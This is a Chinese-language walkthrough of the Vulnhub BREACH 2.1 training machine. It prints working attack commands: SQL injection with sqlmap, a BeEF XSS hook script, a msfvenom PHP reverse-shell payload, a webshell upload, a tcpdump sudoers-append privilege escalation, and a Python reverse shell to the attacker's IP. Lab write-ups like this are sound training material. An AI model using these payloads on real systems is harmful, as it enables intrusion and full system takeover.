Vulnhub-靶机-BREACH: 2.1

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/breach-21,159/

根据提示vulnhub官网提示,此靶机是固定IP地址,IP地址为:192.168.110.151

使用nmap进行扫描

nmap -n -Pn -sS -p- -sV 192.168.110.151 -v --open --script "http-title or default" -oA 192.168.110.151_$(date "+%Y-%m-%d")

看到开放了ssh端口65535,使用ssh连接看看

随便试试几个默认口令或者跟用户名一样的密码,没有成功,但是看到提示Peter的密码是inthesource,使用ssh连接之后再次检查目标靶机会有个blog可以访问

此时再次扫描目标靶机

发现开放了80端口,也就是上面提示的那个blog,我们使用dirb首先跑一下

发现了一个blog的目录,访问一下

看到有个搜索框,丢个单引号过去试试看看

凭经验应该是存在sql注入的,那么我们使用sqlmap跑一下

sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dbs

最终是确认跑出来了admin的密码

丢到cmd5上查了下得到了密码

admin/32admin 这个先放着,我们先看看这个目标靶机是否存在nday,丢到Google上看看

得到如下对于的exp

这里为了利用存储下xss,我们直接使用kali环境下的beef攻击框架,详细使用方法:https://blog.csdn.net/whoim_i/article/details/102877616

在kali上安装好beef框架之后,开启beef 

然后开始利用目标靶机的漏洞

根据https://www.exploit-db.com/exploits/17640 的提示,访问目标靶机的注册页面,然后输入<script src="http://192.168.110.128:3000/hook.js"></script> 攻击代码,密码和邮箱字段随便输入提交即可

提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞,此时便会在beef框架上看被控制端,具体过程如下:

再根据Redirect Browse配合metasploit拿个反弹shell

得到http://192.168.110.128:8080/shell 将这个shell环境丢到beef框架下的Redirect Browse执行

成功拿到shell

cat /etc/ssh/sshd_config

发现之所以登录peter被踢出来是因为执行了startme,那么我们丢一个执行shell的文件到.bashrc里面,让peter这个用户在登录成功之后执行shell进行可交互的shell命令行

执行echo "exec sh" > .bashrc

再次登录目标靶机使用peter这个用户

通过cat /etc/passwd 发现还有个用户milton和blumbergh

再看看网络连接状态

看到2323这个不常见的端口,我们连接看看

发现上述地理位置信息,使用map.google.com访问看看

这个靶机是老外搞的,试试英文的单词休斯顿Houston 将这个地名作为账户milton和blumbergh的密码进行尝试登录看看

确认使用账户milton的密码是对的,但是登录成功显示上述一些信息之后就断开连接了,显示的信息是有关stapler

根据关键字搜索

找到上述路径代码,看下代码内容

知道了原因就是因为执行这个代码3秒钟内没有回答正确就会被断开连接,所以现在看到了代码知道登录答案,那么我再试一把,答案是mine

此时已经登录成功,再次查看网络连接状态,发现开放了8888端口

访问8888端口看看

 使用命令dirb进行目录爆破,发现了目标的后台登录地址

刚开始使用上面破解出来的账户和密码admin/32admin登录,发现登录失败,于是试试admin/admin居然登录进去了,登录成功找到了文件管理的位置,确认有可利用的位置

这里能上传文件,那么姿势就非常多了,可以使用kali自带的php-shell,也可以使用msf生成,生成的命令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f raw -o meterpreter.php

我这里偷懒直接上传个webshell,名称为shell.php 然后直接访问 http://192.168.110.151:8888/oscommerce/includes/work/shell.php 即可

看看sudo的权限

确认可以使用tcpdump进行提权

执行下面两条命令进行提权

echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/bmfxtq && chmod +x /tmp/bmfxtq
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/bmfxtq -Z root

上述是执行了提权的命令,看看效果

发现是已经执行成功,可以直接使用sudo -i命令进行提权,但是由于是webshell,不是tty环境,所以暂时无法切换,那么我们反弹一个shell生成tty环境试试

这里反弹shell方法很多哈,我就使用其中一种,具体反弹shell脚本如下:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.110.128",8856));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

生成python的交互式shell为了后面生成完美tty-shell做准备

python -c 'import pty; pty.spawn("/bin/bash")' 

开始生成完美tty shell,具体操作如下:

在键盘上按住Ctrl+Z
此时便退出了当前的反弹shell
在当前的shell 执行 stty raw -echo
fg

使用sudo -i进行提权

获取flag,并执行

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13634310.html